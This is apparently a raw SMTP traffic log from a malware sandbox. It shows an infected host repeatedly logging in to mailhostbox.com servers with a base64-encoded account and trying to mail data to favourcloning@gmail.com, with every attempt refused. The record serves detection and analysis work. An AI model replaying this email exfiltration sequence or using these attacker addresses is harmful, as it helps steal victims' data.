Sep 19, 2024 12:22:53.517777920 CEST	587	61577	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:53.517929077 CEST	61577	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:53.674249887 CEST	587	61577	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:53.674405098 CEST	61577	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:53.847511053 CEST	587	61577	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:54.949362040 CEST	587	61580	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:54.949599981 CEST	61580	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:55.104407072 CEST	587	61580	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:55.104754925 CEST	61580	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:55.261563063 CEST	587	61580	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:55.315076113 CEST	587	61581	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:55.315206051 CEST	61581	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:55.472495079 CEST	587	61581	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:55.472634077 CEST	61581	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:55.632110119 CEST	587	61581	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:57.095818043 CEST	587	61580	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:57.095990896 CEST	61580	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:57.252223969 CEST	587	61580	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:57.252358913 CEST	61580	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:57.423799992 CEST	587	61580	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:57.516980886 CEST	587	61581	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:22:57.518820047 CEST	61581	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:22:57.675822973 CEST	587	61581	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:22:57.675935030 CEST	61581	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:22:57.850164890 CEST	587	61581	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:22:58.917659044 CEST	587	61584	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:58.918453932 CEST	61584	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:59.072770119 CEST	587	61584	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:59.072951078 CEST	61584	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:59.230300903 CEST	587	61584	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:22:59.320465088 CEST	587	61585	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:22:59.320708036 CEST	61585	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:22:59.475060940 CEST	587	61585	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:22:59.475291967 CEST	61585	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:22:59.631169081 CEST	587	61585	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:01.745038986 CEST	587	61585	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:01.745058060 CEST	587	61584	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:01.745069981 CEST	587	61585	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:01.745079041 CEST	587	61584	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:01.745377064 CEST	61584	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:01.745385885 CEST	61585	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:01.901344061 CEST	587	61585	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:01.902329922 CEST	587	61584	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:01.914429903 CEST	61584	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:01.914556980 CEST	61585	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:02.086132050 CEST	587	61584	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:02.097554922 CEST	587	61585	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:03.693058014 CEST	587	61588	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:03.693173885 CEST	61588	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:23:03.704713106 CEST	587	61589	208.91.199.223	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:03.704821110 CEST	61589	587	192.168.2.5	208.91.199.223	EHLO 965543
Sep 19, 2024 12:23:03.920624018 CEST	587	61588	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:03.920643091 CEST	587	61589	208.91.199.223	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:03.920769930 CEST	61589	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:03.920780897 CEST	61588	587	192.168.2.5	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:04.077073097 CEST	587	61589	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:04.081255913 CEST	587	61588	208.91.199.223	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:06.452718973 CEST	587	61588	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:06.456331015 CEST	61588	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:06.710851908 CEST	587	61589	208.91.199.223	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:06.711446047 CEST	61589	587	192.168.2.5	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:06.711734056 CEST	587	61588	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:06.716608047 CEST	61588	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:06.867896080 CEST	587	61589	208.91.199.223	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:06.874658108 CEST	61589	587	192.168.2.5	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:06.893332958 CEST	587	61588	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:07.056268930 CEST	587	61589	208.91.199.223	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:08.492945910 CEST	587	61592	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:08.493108034 CEST	61592	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:08.653276920 CEST	587	61592	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:08.653450012 CEST	61592	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:08.816603899 CEST	587	61592	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:08.910904884 CEST	587	61593	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:08.911120892 CEST	61593	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:09.072935104 CEST	587	61593	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:09.073097944 CEST	61593	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:09.237623930 CEST	587	61593	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:10.524976015 CEST	587	61592	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:10.525319099 CEST	61592	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:10.687833071 CEST	587	61592	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:10.688066959 CEST	61592	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:10.864784956 CEST	587	61592	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:11.454634905 CEST	587	61593	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:11.454828978 CEST	61593	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:11.618612051 CEST	587	61593	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:11.618769884 CEST	61593	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:11.799143076 CEST	587	61593	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:12.406800985 CEST	587	61596	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:12.408338070 CEST	61596	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:12.569782019 CEST	587	61596	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:12.573373079 CEST	61596	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:12.735512018 CEST	587	61596	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:13.297363997 CEST	587	61597	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:13.297533035 CEST	61597	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:13.451862097 CEST	587	61597	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:13.452032089 CEST	61597	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:13.609651089 CEST	587	61597	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:14.456598043 CEST	587	61596	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:14.464150906 CEST	61596	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:14.626638889 CEST	587	61596	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:14.627041101 CEST	61596	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:14.822629929 CEST	587	61596	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:15.451162100 CEST	587	61597	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:15.451296091 CEST	61597	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:15.609046936 CEST	587	61597	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:15.609165907 CEST	61597	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:15.783632040 CEST	587	61597	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:16.315160990 CEST	587	61599	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:16.315447092 CEST	61599	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:16.471266985 CEST	587	61599	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:16.472295046 CEST	61599	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:16.630070925 CEST	587	61599	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:17.257338047 CEST	587	61601	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:17.257496119 CEST	61601	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:17.412421942 CEST	587	61601	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:17.412594080 CEST	61601	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:17.570600986 CEST	587	61601	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:18.630731106 CEST	587	61599	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:18.630966902 CEST	61599	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:18.790747881 CEST	587	61599	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:18.793344021 CEST	61599	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:18.985246897 CEST	587	61599	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:19.705338955 CEST	587	61601	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:19.705509901 CEST	61601	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:19.863568068 CEST	587	61601	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:19.863692999 CEST	61601	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:20.039191961 CEST	587	61601	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:21.621519089 CEST	587	61606	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:21.621706009 CEST	61606	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:21.776823997 CEST	587	61606	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:21.777040005 CEST	61606	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:21.933871031 CEST	587	61606	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:22.213206053 CEST	587	61607	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:22.214399099 CEST	61607	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:22.368962049 CEST	587	61607	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:22.369407892 CEST	61607	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:22.615530968 CEST	587	61607	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:24.547962904 CEST	587	61606	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:24.548032045 CEST	587	61607	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:24.550306082 CEST	61607	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:24.550311089 CEST	61606	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:24.705976963 CEST	587	61606	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:24.707268000 CEST	61606	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:24.707547903 CEST	587	61607	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:24.707931042 CEST	61607	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:24.881469011 CEST	587	61606	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:24.895639896 CEST	587	61607	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:26.537013054 CEST	587	61610	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:26.541589975 CEST	61610	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:26.702826977 CEST	587	61610	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:26.707175016 CEST	61610	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:26.868168116 CEST	587	61610	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:27.903165102 CEST	587	61613	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:27.903302908 CEST	61613	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:28.105859041 CEST	587	61613	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:28.259233952 CEST	587	61613	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:28.260332108 CEST	61613	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:28.419948101 CEST	587	61613	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:29.650490046 CEST	587	61615	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:29.650652885 CEST	61615	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:29.804718018 CEST	587	61615	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:29.804932117 CEST	61615	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:29.961486101 CEST	587	61615	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:30.524987936 CEST	587	61613	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:30.525757074 CEST	61613	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:30.683993101 CEST	587	61613	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:30.686933041 CEST	61613	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:30.862051964 CEST	587	61613	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:32.441272020 CEST	587	61617	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:32.442187071 CEST	61617	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:32.458477974 CEST	587	61615	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:32.458758116 CEST	61615	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:32.783632994 CEST	587	61617	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:32.783655882 CEST	587	61615	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:32.783857107 CEST	61617	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:32.783863068 CEST	61615	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:32.942128897 CEST	587	61617	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:32.957690954 CEST	587	61615	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:34.450143099 CEST	587	61620	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:34.456211090 CEST	61620	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:34.611334085 CEST	587	61620	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:34.618262053 CEST	61620	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:34.776355028 CEST	587	61620	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:35.322732925 CEST	587	61621	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:35.322952986 CEST	61621	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:35.479433060 CEST	587	61621	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:35.479576111 CEST	61621	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:35.798109055 CEST	587	61621	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
